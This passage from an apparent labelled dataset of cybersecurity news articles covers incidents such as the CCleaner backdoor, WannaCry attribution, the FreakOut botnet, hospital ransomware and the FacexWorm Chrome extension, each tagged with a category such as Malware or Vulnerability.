(16 percent versus 49 percent), this is largely due to the huge increase in smaller external attacks. As a result, the total number of insider attacks actually remained relatively constant.

Hacking (50 percent) and malware (49 percent) were the most prominent types of attack, with many of those attacks involving weak or stolen credentials and passwords. For the first time, physical attacks -- such as compromising ATMs -- appeared as one of the three most common ways to steal information, and
constituted 29 percent of all cases investigated.

For the second year in a row, the U.S. Secret Service collaborated with Verizon in preparing the report. In addition, the National High Tech Crime Unit of the Netherlands Policy Agency (KLPD) joined the team this year, allowing Verizon to provide more insight into cases originating in Europe. Approximately one-third of Verizon's cases originated in either Europe or the Asia-Pacific region, reflecting the global nature of data breaches.

A complete copy of the ""2011 Data Breach Investigations Report"" is available for download.

",Malware
CCleaner Malware Infects Big Tech Companies With Second Backdoor,https://thehackernews.com/2017/09/ccleaner-malware-hacking.html,"The group of unknown hackers who hijacked CCleaner's download server to distribute a malicious version of the popular system optimization software targeted at least 20 major international technology companies with a second-stage payload.

Earlier this week, when the CCleaner hack was reported, researchers assured users that there's no second stage malware used in the massive attack and affected users can simply update their version in order to get rid of the malicious software.

However, during the analysis of the hackers' command-and-control (C2) server to which the malicious CCleaner versions connected, security researchers from Cisco's Talos Group found evidence of a second payload (GeeSetup_x86.dll, a lightweight backdoor module) that was delivered to a specific list of computers based on local domain names.

Affected Technology Firms

According to a predefined list mentioned in the configuration of the C2 server, the attack was designed to find computers inside the networks of the major technology firms and deliver the secondary payload. The target companies included:
Google
Microsoft
Cisco
Intel
Samsung
Sony
HTC
Linksys
D-Link
Akamai
VMware
In the database, researchers found a list of nearly 700,000 backdoored machines infected with the malicious version of CCleaner, i.e. the first-stage payload, and a list of at least 20 machines that were infected with the secondary payload to get a deeper foothold on those systems.

The CCleaner hackers specifically chose these 20 machines based upon their Domain name, IP address, and Hostname. The researchers believe the secondary malware was likely intended for industrial espionage.

CCleaner Malware Links to Chinese Hacking Group

According to the researchers from Kaspersky, the CCleaner malware shares some code with the hacking tools used by a sophisticated Chinese hacking group called Axiom, also known as APT17, Group 72, DeputyDog, Tailgater Team, Hidden Lynx or AuroraPanda.
""The malware injected into #CCleaner has shared code with several tools used by one of the APT groups from the #Axiom APT 'umbrella',"" tweeted director of Global Research and Analysis Team at Kaspersky Lab.
Cisco researchers also note that one configuration file on the attacker's server was set for China's time zone, which suggests China could be the source of the CCleaner attack. However, this evidence alone is not enough for attribution.

Cisco Talos researchers also said that they have already notified the affected tech companies about a possible breach.

Removing Malicious CCleaner Version would Not Help

Just removing the Avast's software application from the infected machines would not be enough to get rid of the CCleaner second stage malware payload from their network, with the attackers' still-active C2 server.

So, affected companies that have had their computers infected with the malicious version of CCleaner are strongly recommended to fully restore their systems from backup versions before the installation of the tainted security program.
""These findings also support and reinforce our previous recommendation that those impacted by this supply chain attack should not simply remove the affected version of CCleaner or update to the latest version, but should restore from backups or reimage systems to ensure that they completely remove not only the backdoored version of CCleaner but also any other malware that may be resident on the system,"" the researchers say.
For those who are unaware, the Windows 32-bit version of CCleaner v5.33.6162 and CCleaner Cloud v1.07.3191 were affected by the malware, and affected users should update the software to version 5.34 or higher.

",Cyber_Attack
Undocumented iOS Features left Hidden Backdoors Open in 600 Million Apple Devices,https://thehackernews.com/2014/07/undocumented-ios-features-left-hidden.html,"A well known iPhone hacker and forensic scientist has unearthed a range of undocumented and hidden functions in Apple iOS mobile operating system that make it possible for a hacker to completely bypass the backup encryption on iOS devices and can steal large amounts of users' personal data without entering passwords or personal identification numbers.

Data forensics expert named Jonathan Zdziarski has posted the slides (PDF) titled ""Identifying Backdoors, Attack Points, and Surveillance Mechanisms in iOS Devices"" showing his findings, from his talk at the Hackers On Planet Earth (HOPE X) conference held in New York on Friday.

Jonathan Zdziarski, better identified as the hacker ""NerveGas"" in the iPhone development community, worked as dev-team member on many of the early iOS jailbreaks and is also the author of five iOS-related O'Reilly books including ""Hacking and Securing iOS Applications.""

The results of his overall research on the iOS devices indicate a backdoor into iOS device' operating system, although it is not at all that much widely open as a number of reports have suggested.

You can protect your iOS device settings, Messages, Camera Roll, documents, saved games, email account passwords, Wi-Fi passwords, and passwords that you enter into websites using iTunes Backup feature. iTunes also allows users to protect their backup data with an encryption.

EVERY SET OF INFORMATION OF iOS USERS IS AT RISK
He researched about the capabilities and services available in iOS for data acquisition and found that over 600 million personal iOS devices, particularly those running the latest version iOS 7, have secret data discovery tools or 'undocumented features' that have the ability to bypass the iOS backup encryption, but only under certain circumstances.

When your backup is encrypted, you will need to enter the password when enabling or disabling encryption or when restoring from the backup, but according to Zdziarski, there is a iOS service called mobile file_relay, can be accessed remotely or through a USB connection to bypass the backup encryption.

This staggering amount of data includes a full copy of the user's address book including deleted entries, stored photos, the voicemail database and audio files, any account data configured on the device such as iCloud, email, Facebook, Twitter, and other services, the user cache of screenshots, keystrokes and the device's clipboard, GPS data—all without requiring a backup password to be entered.
""Between this tool and other services, you can get almost the same information you could get from a complete backup,"" Zdziarski said in an interview. ""What concerns me the most is that this all bypasses the consumer backup encryption. When you click that button to encrypt the backup, Apple has made a promise that the data that comes off the device will be encrypted.""
Apart from this, there are two other services as well, a packet sniffer dubbed com.apple.pcapd and the other com.apple.mobile.house_arrest on the device that may have legitimate uses for users and app developers but can also be used to spy on users by the government intelligence agencies and bad actors.

The pcapd service fires up without notifying the iOS device's owners and allows an attacker to remotely monitor all network traffic traveling into and out of the device via Wi-Fi, even when the device is not running in a special developer or support mode. pcapd service can log and export network traffic and HTTP request/response data traveling into and out of the device.

The House_arrest service, on the other side, allows iTunes to copy sensitive files and documents from third party applications such as Twitter, Facebook, and other data stored in ""vaults"", and much more.

QUESTIONS TO BE ANSWERED BY APPLE
Zdziarski also includes some questions in its presentation for Apple:
Why is there a packet sniffer running on 600 million personal iOS devices instead of moved to the developer mount?
Why are there undocumented services that bypass user backup encryption that dump mass amounts of personal data from the phone?
Why is most of my user data still not encrypted with the PIN or passphrase, enabling the invasion of my personal privacy by YOU?
Why is there still no mechanism to review the devices my iPhone is paired with, so I can delete ones that don't belong?
IN SHORT - CONCLUSION
and summed it up logically in his last slide (page 57 of the PDF) as follows:
Apple is dishing out a lot of data behind our backs.
It's a violation of the customer's trust and privacy to bypass backup encryption.
There is no valid excuse to leak personal data or allow packet sniffing without the user's knowledge and permission.
Much of this data simply should never come off the phone, even during a backup.
Apple has added many conveniences for enterprises that make tasty attack points for .gov and criminals.
Overall, the otherwise great security of iOS has been compromised… by Apple… by design.
DEPENDENCIES
The Attacker first need to grab the pairing keys
The targeted iOS device should be physically near to the attacker
Targeted iPhone needs to have its Wi-Fi switched ON
The Attacker and targeted iOS device should be in the same Wi-Fi network
Targeted device should not been rebooted since the last time the user entered the PIN
If we consider these dependency, practically it is not possible for an attacker to carry out the attack as it can be executed when a user's device matches all the above circumstances.

ROLE OF NSA
A number of undocumented services and features in iOS map are pretty close to the capabilities of some NSA's tools, specifically DROPOUTJEEP hacking tool, implant for Apple iOS devices that allows the NSA to remotely control and monitor nearly all the features of an iPhone, including text messages, Geo-Location, microphone and the Camera, which was revealed by documents leaked by Edward Snowden.
""If you're the NSA, with a Tailored Access Operations division that specializes in this sort of thing, getting into Apple's backdoor is easy as pie,"" the Register notes.
Zdziarski clarified that he is not pin-pointing to these services as intentional backdoors for the NSA or other intelligence agency, but he believes there is evidence that the agency may be using the services, nonetheless.

UPDATE

Apple Strongly Denies Claims of Installing iOS Backdoor

",Vulnerability
Google Researcher Finds Link Between WannaCry Attacks and North Korea,https://thehackernews.com/2017/05/wannacry-lazarus-north-korea.html,"So far, nobody had an idea that who was behind WannaCry ransomware attacks?

But now there is a clue that lies in the code.

Neel Mehta, a security researcher at Google, found evidence that suggests the WannaCry ransomware, that infected 300,000 machines in 150 countries over the weekend, is linked to a state-sponsored hacking group in North Korea, known for cyber attacks against South Korean organizations.

What's Happening? What is WannaCry?
This is the fifth day since the WannaCry ransomware attack surfaced, that leverages a critical Windows SMB exploit and still infecting machines across the world using newly released variants that don't have any ""kill switch"" ability.

In case, if you have landed on WannaCry story for the first time, and don't know what's going on, you are advised to also read this simple, summarized, but detailed explanation:

WannaCry: What Has Happened So Far & How to protect your PCs

WannaCry: First Nation-State Powered Ransomware?
Neel discovered that the code found in the WannaCry malware—one that first surfaced in February—was identical to the code used in an early 2015 version of Cantopee, a malicious backdoor developed by Lazarus Group, believed to be a state-sponsored hacking group linked to the North Korean government.

Security researchers from Kaspersky Lab, Intezer, Symantec, and Comae Technologies immediately followed the tip from Neel and confirmed a strong link between WannaCry and other malware families, including Lazarus, Joanap, and Brambul, which suggests WannaCry was written or modified by the same author.
Operating since at least 2011, Lazarus Group of hackers believed to be responsible for the 2013 DarkSeoul operation, the devastating 2014 Sony Pictures Hack, and the 2016 Bangladesh $81 Million bank heist.

However, this finding is not yet sufficient to link the Lazarus Group to WannaCry, because it is possible that WannaCry authors may have purposely copied code from Lazarus' backdoor program in an attempt to mislead researchers and law enforcement as they investigate.

""We believe that there are sufficient connections to warrant further investigation. We will continue to share further details of our research as it unfolds,"" says Symantec, the security firm which has tracked the Lazarus over recent years.

Agreeing to the same, Matt Suiche from Comaeio said:

""The attribution to Lazarus Group would make sense regarding their narrative which in the past was dominated by infiltrating financial institutions in the goal of stealing money. If validated, this means the latest iteration of WannaCry would, in fact, be the first nation state powered ransomware.""

Is the WannaCry Attack Over? *NO*

Absolutely Not; this is just the beginning.

Security researchers have discovered some new variants of this ransomware, which could not be stopped by the kill switch, so you are advised to make sure you have applied the patch for SMB vulnerability and disabled SMBv1 protocol to keep your Windows computers safe from WannaCry and other similar attacks.

The WannaCry attackers demand ransom fees between $300 to $600 to free the hijacked data. The three bitcoin wallets tied to #WannaCry ransomware have received 225 payments totaling 35.98003282 BTC (approx. $60,000) from ransomware victims.

",Cyber_Attack
FreakOut! Ongoing Botnet Attack Exploiting Recent Linux Vulnerabilities,https://thehackernews.com/2021/01/freakout-ongoing-botnet-attack.html,"An ongoing malware campaign has been found exploiting recently disclosed vulnerabilities in network-attached storage (NAS) devices running on Linux systems to co-opt the machines into an IRC botnet for launching distributed denial-of-service (DDoS) attacks and mining Monero cryptocurrency.
The attacks deploy a new malware variant called ""FreakOut"" by leveraging critical flaws fixed in Laminas Project (formerly Zend Framework) and Liferay Portal as well as an unpatched security weakness in TerraMaster, according to Check Point Research's new analysis published today and shared with The Hacker News.
Attributing the malware to be the work of a long-time cybercrime hacker — who goes by the aliases Fl0urite and Freak on HackForums and Pastebin at least since 2015 — the researchers said the flaws — CVE-2020-28188, CVE-2021-3007, and CVE-2020-7961 — were weaponized to inject and execute malicious commands in the server.
Regardless of the vulnerabilities exploited, the end goal of the attacker appears to be to download and execute a Python script named ""out.py"" using Python 2, which reached end-of-life last year — implying that the threat actor is banking on the possibility that that victim devices have this deprecated version installed.
""The malware, downloaded from the site hxxp://gxbrowser[.]net, is an obfuscated Python script which contains polymorphic code, with the obfuscation changing each time the script is downloaded,"" the researchers said, adding the first attack attempting to download the file was observed on January 8.
And indeed, three days later, cybersecurity firm F5 Labs warned of a series of attacks targeting NAS devices from TerraMaster (CVE-2020-28188) and Liferay CMS (CVE-2020-7961) in an attempt to spread N3Cr0m0rPh IRC bot and Monero cryptocurrency miner.
An IRC Botnet is a collection of machines infected with malware that can be controlled remotely via an IRC channel to execute malicious commands.
In FreakOut's case, the compromised devices are configured to communicate with a hardcoded command-and-control (C2) server from where they receive command messages to execute.
The malware also comes with extensive capabilities that allow it to perform various tasks, including port scanning, information gathering, creation and sending of data packets, network sniffing, and DDoS and flooding.
Furthermore, the hosts can be commandeered as a part of a botnet operation for crypto-mining, spreading laterally across the network, and launching attacks on outside targets while masquerading as the victim company.
With hundreds of devices already infected within days of launching the attack, the researchers warn, FreakOut will ratchet up to higher levels in the near future.
For its part, TerraMaster is expected to patch the vulnerability in version 4.2.07. In the meantime, it's recommended that users upgrade to Liferay Portal 7.2 CE GA2 (7.2.1) or later and laminas-http 2.14.2 to mitigate the risk associated with the flaws.
""What we have identified is a live and ongoing cyber attack campaign targeting specific Linux users,"" said Adi Ikan, head of network cybersecurity Research at Check Point. ""The attacker behind this campaign is very experienced in cybercrime and highly dangerous.""
""The fact that some of the vulnerabilities exploited were just published, provides us all a good example for highlighting the significance of securing your network on an ongoing basis with the latest patches and updates.""

",Vulnerability
Hundreds Of Operations Canceled After Malware Hacks Hospitals Systems,https://thehackernews.com/2016/11/hospital-cyber-attack-virus.html,"Computer viruses do not discriminate.

They are not just hacking your email and online banking accounts anymore.

Computer viruses do not distinguish between a personal computer or a hospital machine delivering therapy to patients — and the results could prove deadly.

Cyber attacks on hospitals have emerged as a significant cyber security risk in 2016, which not only threaten highly sensitive information but also potentially harm the very lives of those being protected.

In the latest incident, hundreds of planned operations, outpatient appointments, and diagnostic procedures have been canceled at multiple hospitals in Lincolnshire, England, after a ""major"" computer virus compromised the National Health Service (NHS) network on Sunday.

In a bright-red alert warning labeled ""Major incident"" on its website, the Northern Lincolnshire and Goole NHS Foundation Trust (NLAG) said its systems in Scunthorpe and Grimsby were infected with a virus on October 30.

The incident forced the trust to shut down all the major systems within its shared IT network in order to ""isolate and destroy"" the virus and cancel surgeries.
""We have taken the decision, following expert advice, to shut down the majority of our systems so we can isolate and destroy it,"" the NHS wrote on its website. ""All planned operations, outpatient appointments and diagnostic procedures have been canceled for Wednesday, Nov. 2 with a small number of exceptions.""
Some patients, including major trauma patients and high-risk women in labor, were diverted to neighbouring hospitals.
Although the majority of systems are now back and working, the NHS Trust has not provided any specific information about the sort of virus or malware or if it managed to breach any defense.

The incident took place after the U.S. and Canada issued a joint cyber alert, warning hospitals and other organizations against a surge in extortion attacks that infect computers with Ransomware that encrypts data and demand money for it to be unlocked.

Although it is unclear at the moment, the virus could likely be a ransomware that has previously targeted hospitals and healthcare facilities.

Life Threatening Cyber-Attacks

With the rise in Ransomware threat, we have seen an enormous growth in the malware businesses.

The countless transactions of Bitcoins into the dark web have energized the Ransomware authors to distribute and adopt new infection methods for the higher successful rate.

Today, Ransomware have been a soft target for both Corporates as well as Hospitals.

Since earlier this year, over a dozen hospitals have been targeted by ransomware, enforcing them to pay the ransom amount as per the demand by freezing the central medical systems.

Technological advancement in the medical arena has digitalized patients data in the form of Electronic Medical Record (EMR) in order to save them into the hospital's central database.

Since the delay in patients treatment by temporary locking down their details could even result in the patient's death, the attackers seek 100 percent guarantee ransom by infecting hospitals with Ransomware.

Due to this reason, in most of the cases, hospitals generally agrees to pay the ransom amount to the attackers.

Earlier this year, the Los Angeles-based Presbyterian Medical Center paid $17,000 in Bitcoins to cyber crooks in order to restore access to its electronic medical systems, after a ransomware virus hit the hospital.

Also back in April, the MedStar Health chain that runs a number of hospitals in the Baltimore and Washington area, was attacked with Samsam ransomware (or Samas) that encrypted sensitive data at the hospitals.

Followingly, many more hospitals, including Methodist Hospital in Henderson and Kentucky, Desert Valley Hospital in California and Chino Valley Medical Center, have been infected with Ransomware.

",Malware
Duqu malware was created to spy on Iran's nuclear program,https://thehackernews.com/2011/11/duqu-malware-was-created-to-spy-on.html,"Duqu malware was created to spy on Iran's nuclear program


A Report by Kaspersky Lab Expert, Ryan Naraine says that the DUQU malware was created to spy on Iran's nuclear program. IrCERT (Iran's Computer Emergency Response Team) Duqu is an upgraded version of ""Stars"". Back in April this year, The Iranian government says it is being targeted by a new piece of malware aimed at its federal computers.

Also its confirm that some of the targets of Duqu were hit on April 21, using the same method involving CVE-2011-3402, a kernel level exploit in win32k.sys via embedded True Type Font (TTF) file.

In both cases a malware similar to Stuxnet found in systems and stealing information. Do you think these relate to each other ? If we are to believe these reports, then it means that Duqu was created in order to spy on Iran's nuclear program.

Another interesting part of information is that more than 10 nations have supplied intelligence suggesting Iran is secretly developing components of a nuclear arms program - among them an implosion-type. New intelligence the U.N. atomic agency plans to release on alleged nuclear weapons work by Iran is fabricated, the Iranian foreign minister. Whereas , Iran dismisses reported UN claims of nuclear work. There are high possibility that Stars and Duqu were used to collect such information.

",Malware
Self-Service Bank Passbook Printing Machines Leak Customers Financial Details,https://thehackernews.com/2015/08/passbook-printing-machine-hacked.html,"Gone are the days when you had to wait in a queue to get your Bank passbook updated. With the implementation of automated machines in Banks, it's now a game of seconds to update your passbook yourself.

Bank Passbook is a copy of the customer's account in the books of the bank which includes client's current account balance and transaction details (deposits and withdrawals).

But, Are these Automated Machines holding your Financial Information Hack-Proof?

Last year, Major Indian Banks rolled out a barcode based passbook printers called 'Swayam' which can be operated by customers themselves.

17-year-old Indian bug hunter, Indrajeet Bhuyan, found that the barcode technology used by more than 3000 Indian Banking Branches, including State Bank of India, UCO Bank and Canara Bank, is vulnerable to information disclosure.

To use Swayam, the self-service passbook printing machine, the customers need just to feed their passbook into the machine, which will read the barcode sticker attached to it and gives out the passbook duly printed.
Indrajeet found that Swayam machines are using only 'Bar Code' (attached to Passbook) as the sole method of authentication to print out the respective account details.

Indrajeet told The Hacker News that an attacker can easily spoof the barcode, which is same as the customer's account number in case of UCO Bank and Canara Bank.

Using spoofed barcode (with victim's account number) sticker attached to his passbook, an attacker can use the automatic printing machine to get victim's account history and balance.
""I took my father's bank account number and made a barcode online, where I added the account number itself as the barcode data"", Indrajeet says in a blog post.
""I removed the barcode sticker that the bank provided and pasted my barcode that I generated online and inserted the passbook into the machine. My theory was successful. I was able to get the entire transaction history of my father's bank account printed on his passbook.""
Indrajeet has already informed IT departments of several banks, but none of them has replied yet.

",Vulnerability
Popular Video Editing Software Website Hacked to Spread Banking Trojan,https://thehackernews.com/2019/04/free-video-editing-malware.html,"If you have downloaded the VSDC multimedia editing software between late February to late March this year, there are high chances that your computer has been infected with a banking trojan and an information stealer.

The official website of the VSDC software — one of the most popular, free video editing and converting app with over 1.3 million monthly visitors — was hacked, unfortunately once again.

According to a new report Dr. Web published today and shared with The Hacker News, hackers hijacked the VSDC website and replaced its software download links leading to malware versions, tricking visitors into installing dangerous Win32.Bolik.2 banking trojan and KPOT stealer.

Even more ironic is that despite being so popular among the multimedia editors, the VSDC website is running and offering software downloads over an insecure HTTP connection.

Though it's unclear how hackers this time managed to hijack the website, researchers revealed that the breach was reportedly never intended to infect all users, unlike last year attack.

Instead, Dr.Web researchers found a malicious JavaScript code on the VSDC website that was designed to check visitor's geolocation and replace download links only for visitors from the UK, USA, Canada, and Australia.

Insecure VSDC Website Was Distributing Malware for a Month

The malicious code planted on the website went unnoticed for almost a month—between 21 February 2019 and 23 March 2019—until researcher discovered it and notified VSDC developers of the threat.
Targeted users were served with a dangerous banking trojan designed to perform ""web injections, traffic intercepts, key-logging and stealing information from different bank-client systems.""

Moreover, the attackers changed the Win32.Bolik.2 trojan to KPOT Stealer, a variant of Trojan.PWS.Stealer, on March 22, which steals information from web browsers, Microsoft accounts, several messenger services and some other programs.

According to the researchers, at least 565 visitors downloaded VSDC software infected with the banking trojan, while 83 users has had their systems infected with the information stealer.

VSDC site has been hacked several times in the past years. Just last year, unknown hackers managed to gain administrative access to its website and replaced the download links, eventually its visitors' computers with the AZORult Stealer, X-Key Keylogger and the DarkVNC backdoor.

What to Do If You're a Victim?

It should be noted that just installing the clean version of the software update over the malicious package would not remove the malware code from the infected systems.

So, in case you had downloaded the software between that period, you should immediately install antivirus software, with the latest up-to-date definitions, and scan your system for malware.

Beside this, affected users are also recommended to change their passwords for important social media and banking websites after cleaning the systems or from a separate device.

",Malware
Researchers Detail Modus Operandi of ShinyHunters Cyber Crime Group,https://thehackernews.com/2021/08/researchers-detail-modus-operandi-of.html,"ShinyHunters, a notorious cybercriminal underground group that's been on a data breach spree since last year, has been observed searching companies' GitHub repository source code for vulnerabilities that can be abused to stage larger scale attacks, an analysis of the hackers' modus operandi has revealed.
""Primarily operating on Raid Forums, the collective's moniker and motivation can partly be derived from their avatar on social media and other forums: a shiny Umbreon Pokémon,"" Intel 471 researchers said in a report shared with The Hacker News. ""As Pokémon players hunt and collect ""shiny"" characters in the game, ShinyHunters collects and resells user data.""
The revelation comes as the average cost of a data breach rose from $3.86 million to $4.24 million, making it the highest average cost in 17 years, with compromised credentials responsible for 20% of the breaches reported by over 500 organizations.
Since rising to prominence in April 2020, ShinyHunters has claimed responsibility for a string of data breaches, including Tokopedia, Wattpad, Pixlr, Bonobos, BigBasket, Mathway, Unacademy, MeetMindful, and Microsoft's GitHub account, among others.
An assessment by Risk Based Security found that the threat actor has exposed a total of more than 1.12 million unique email addresses belonging to S&P 100 organizations, education, government and military entities as of late 2020.
Last week, the group began selling a database purportedly containing the personal information of 70 million AT&T customers for a starting price of $200,000, although the U.S. telecom provider has denied suffering a breach of its systems.
ShinyHunters has a checkered history of compromising websites and developer repositories to steal credentials or API keys to a company's cloud services, which are subsequently abused to gain access to databases and gather sensitive information to be resold for profit or published for free on hacker forums.
The adversary has also been observed targeting DevOps personnel or GitHub repositories in order to steal valid OAuth tokens, leveraging them to breach cloud infrastructure and bypass any two-factor authentication mechanisms.
""ShinyHunters may not have as much notoriety as the ransomware groups that are currently causing havoc for enterprises all over the world. However, tracking actors like this are crucial to preventing your enterprise from being hit with such an attack,"" the researchers said.
""The information ShinyHunters gathers is often turned around and sold on the same underground marketplaces where ransomware actors use it to launch their own attacks. If enterprises can move to detect activity like ShinyHunters, they in turn can stop ransomware attacks before they are ever launched.""

",Data_Breaches
Donald Trump's Email Servers are Horribly Insecure — Researcher Reveals,https://thehackernews.com/2016/10/donald-trump-email-server.html,"When Hillary Clinton's private email server was hacked earlier this year, she was criticized for her bad security practices that exposed top secret documents stored in emails on that private server. The FBI called her behavior 'extremely careless.'

Republican presidential candidate Donald Trump and his supporters are continuously criticizing Clinton's use of a private email server. And here's what Trump lectured in a debate about cybersecurity:
""The security aspect of cyber is very, very tough. And maybe it's hardly doable. But I will say, we are not doing the job we should be doing. But that's true throughout our whole governmental society. We have so many things that we have to do better, Lester, and certainly, cyber is one of them.""
Forget Clinton; Trump has so worryingly insecure internet setup that anyone with little knowledge of computers can expose almost everything about Trump and his campaign.

Security researcher Kevin Beaumont, who had a look at the mail servers operated by the Trump organization, discovered that a number of email servers for Trump's hotels, golf courses, and other businesses are running badly configured, outdated versions of software that receive no security updates, and are lacking other security practices.

Several mail servers for the Trump Organization's domain, TrumpOrg.com, are using outdated software, including the operating system Windows Server 2003, with Internet Information Server 6 that comes shipped with it.

Microsoft ended support for Windows Server 2003 in July 2015. Microsoft's official website reads: ""Microsoft will no longer issue security updates for any version of Windows Server 2003. If you are still running Windows Server 2003 in your datacenter, you need to take steps now to plan and execute a migration strategy to protect your infrastructure.""

This security disaster makes the Trump organization's e-mails vulnerable for attackers who might want to gain access to them.

Beaumont posted his finding on Twitter on Monday.
If this wasn't enough, Beaumont said the Trump Organization's email service only uses single-factor authentication, which means no Two-factor authentication that makes a user link a device to receive an extra login code, which keeps their account more secure.

Beaumont also discovered the Trump Organization's Web-based e-mail access page. But it is important to note that Beaumont did not attempt to log into the e-mail system and neither ran any advanced scans on the servers and rather he only looked at public records and information.

The e-mail access page of the Trump Organization (webmail.trumporg.com) displays the header for Microsoft Exchange Outlook Web Access (OWA) and the page's HTML source code reveals that site is using an outdated application i.e. March 2015 build of Microsoft Exchange 2007 (SP3 RU16), which contains a number of known security vulnerabilities, Sean Gallagher of Ars noted.

So, what do you think: Would WikiLeaks reveal Donald Trump email dump just like Clinton? Let us know in the comments below.

",Vulnerability
A New Cryptocurrency Mining Virus is Spreading Through Facebook,https://thehackernews.com/2018/05/facebook-cryptocurrency-hacking.html,"If you receive a link for a video, even if it looks exciting, sent by someone (or your friend) on Facebook messenger—just don't click on it without taking a second thought.

Cybersecurity researchers from Trend Micro are warning users of a malicious Chrome extension which is spreading through Facebook Messenger and targeting users of cryptocurrency trading platforms to steal their accounts' credentials.

Dubbed FacexWorm, the attack technique used by the malicious extension first emerged in August last year, but researchers noticed the malware re-packed a few new malicious capabilities earlier this month.

New capabilities include stealing account credentials from websites, like Google and cryptocurrency sites, redirecting victims to cryptocurrency scams, injecting miners on the web page for mining cryptocurrency, and redirecting victims to the attacker's referral link for cryptocurrency-related referral programs.

It is not the first malware to abuse Facebook Messenger to spread itself like a worm.

Late last year, Trend Micro researchers discovered a Monero-cryptocurrency mining bot, dubbed Digmine, that spreads through Facebook messenger and targets Windows computers, as well as Google Chrome for cryptocurrency mining.
Just like Digmine, FacexWorm also works by sending socially engineered links over Facebook Messenger to the friends of an affected Facebook account to redirect victims to fake versions of popular video streaming websites, like, YouTube.

It should be noted that FacexWorm extension has only been designed to target Chrome users. If the malware detects any other web browser on the victim's computer, it redirects the user to an innocuous-looking advertisement.

How Does the FacexWorm Malware Work

If the malicious video link is opened using Chrome browser, FacexWorm redirects the victim to a fake YouTube page, where the user is encouraged to download a malicious Chrome extension as a codec extension to continue playing the video.

Once installed, FacexWorm Chrome extension downloads more modules from its command and control server to perform various malicious tasks.
""FacexWorm is a clone of a normal Chrome extension but injected with short code containing its main routine. It downloads additional JavaScript code from the C&C server when the browser is opened,"" the researchers said.
""Every time a victim opens a new webpage, FacexWorm will query its C&C server to find and retrieve another JavaScript code (hosted on a Github repository) and execute its behaviors on that webpage.""
Since the extension takes all the extended permissions at the time of installation, the malware can access or modify data for any websites the user opens.

Here below I have listed a brief outline of what FacexWorm malware can perform:

To spread itself further like a worm, the malware requests OAuth access token for the Facebook account of the victim, using which it then automatically obtains the victim's friend list and sends that malicious, fake YouTube video link to them as well.
Steal the user's account credentials for Google, MyMonero, and Coinhive, when the malware detects that the victim has opened the target website's login page.
FacexWorm also injects cryptocurrency miner to web pages opened by the victim, which utilizes the victim computer's CPU power to mine Cryptocurrency for attackers.
FacexWorm even hijacks the user's cryptocurrency-related transactions by locating the address keyed in by the victim and replacing it with the one provided by the attacker.
When the malware detects the user has accessed one of the 52 cryptocurrency trading platforms or typed keywords like ""blockchain,"" ""eth-,"" or ""ethereum"" in the URL, FacexWorm will redirect the victim to a cryptocurrency scam webpage to steal user's digital coins. The targeted platforms include Poloniex, HitBTC, Bitfinex, Ethfinex, and Binance, and the wallet Blockchain.info.
To avoid detection or removal, the FacexWorm extension immediately closes the opened tab when it detects that the user is opening the Chrome extension management page.
The attacker also gets a referral incentive every time a victim registers an account on Binance, DigitalOcean, FreeBitco.in, FreeDoge.co.in, or HashFlare.

So far, researchers at Trend Micro have found that FacexWorm has compromised at least one Bitcoin transaction (valued at $2.49) until April 19, but they do not know how much the attackers have earned from the malicious web mining.

Cryptocurrencies targeted by FacexWorm include Bitcoin (BTC), Bitcoin Gold (BTG), Bitcoin Cash (BCH), Dash (DASH), ETH, Ethereum Classic (ETC), Ripple (XRP), Litecoin (LTC), Zcash (ZEC), and Monero (XMR).

The FacexWorm malware has been found surfacing in Germany, Tunisia, Japan, Taiwan, South Korea, and Spain. But since Facebook Messenger is used worldwide, there are more chances of the malware being spread globally.

Chrome Web Store had removed many of the malicious extensions before being notified by Trend Micro researchers, but the attackers keep uploading it back to the store.

Facebook Messenger can also detect the malicious, socially engineered links and regularly block the propagation behavior of the affected Facebook accounts, researchers said.

Since Facebook Spam campaigns are quite common, users are advised to be vigilant when clicking on links and files provided via the social media site platform.

",Malware
AlienVault Unified Security Management: Real-Time Threat Detection Starting on Day 1,https://thehackernews.com/2014/03/alienvault-unified-security-management.html,"IT Infrastructure of organizations is growing ever more distributed, complex and difficult to manage. To manage such networks, a log management solution is not enough.

The AlienVault Unified Security Management™ (USM) platform is the perfect solution to help manage the flood of information and analyze it in real time, to find evidence of security incidents. So, in this article we will introduce you to a security monitoring solution that provides real-time threat detection and speeds incident response.

The AlienVault Unified Security Management™ (USM) platform provides all of the essential security controls required for complete security visibility, and is designed to enable any IT or security practitioner to benefit from results on day one. Powered by the latest AlienVault Labs Threat Intelligence and the Open Threat Exchange™ (OTX)—the world's largest crowd-sourced threat intelligence exchange—AlienVault USM delivers a unified, simple and affordable solution for threat detection and compliance management. Understanding the sensitive nature of IT environments, USM includes active, passive and host-based technologies so that you can match the requirements of your particular environment.
What can you do with USM?
All of AlienVault's built-in security controls are pre-integrated and optimized to work together out of the box. Within minutes of installing the USM product, AlienVault's asset discovery features – active network scanning, passive network monitoring, asset inventory, host-based software inventory – will provide visibility into the assets on your network, what software is installed on them, how they're configured, any potential vulnerabilities and active threats being executed on them. By building in the essential security capabilities, AlienVault USM significantly reduces complexity and reduces deployment time.
Complete Security Visibility in One Day
With all of the essential security controls built-in, AlienVault USM puts complete security visibility within fast and easy reach of security teams who need to do more with less. With USM you can spend more time investigating the alarms and people attacking your systems and less time setting up and integrating all the other security tools needed for true operational security. USM gives you the security visibility you need to understand who is attacking you, what they are targeting and what your true vulnerabilities are. Within the first day of installation, you'll be able to:
Prioritize risk through correlation of reputation, threat severity and asset vulnerability
Run risk assessment and vulnerability reports of affected assets
Detect threats through correlation of firewall logs and Windows events
Get a forensic view into stored logs
Deploy the technology needed to comply with requirements for PCI DSS, HIPAA, ISO 27002, SOX, GPG 13 and more
Consolidated threat management
With the AlienVault Unified Security Management (USM) platform, you can quickly:
Identify, isolate and investigate indicators of exposure (IOEs) and indicators of compromise (IOCs) including C&C traffic, malware infections, abnormal network flows and more
Correlate asset information with built-in vulnerability scan data and AlienVault Labs Threat Intelligence to better prioritize response efforts
Respond to emerging threats with detailed, customized ""how to"" guidance for each alert
Demonstrate to auditors and management that your incident response program is robust and reliable

Simplify Regulatory Compliance Requirements
With a single platform, AlienVault USM automatically identifies important audit events in real-time, reports them and alerts on events that warrant immediate action. From file integrity monitoring to IDS to log management - USM makes compliance easier. Not only do we provide the tools you need to be compliant, USM gathers the information you need and generates the reports to give to auditors.
How does USM work?
Our most popular option, the AlienVault USM All-in-One appliance—ideal for single sites and more centralized networks—combines the following capabilities for simpler security management:
Asset discovery and inventory – passive and active discovery techniques
Vulnerability assessment – accurate and automated network scanning
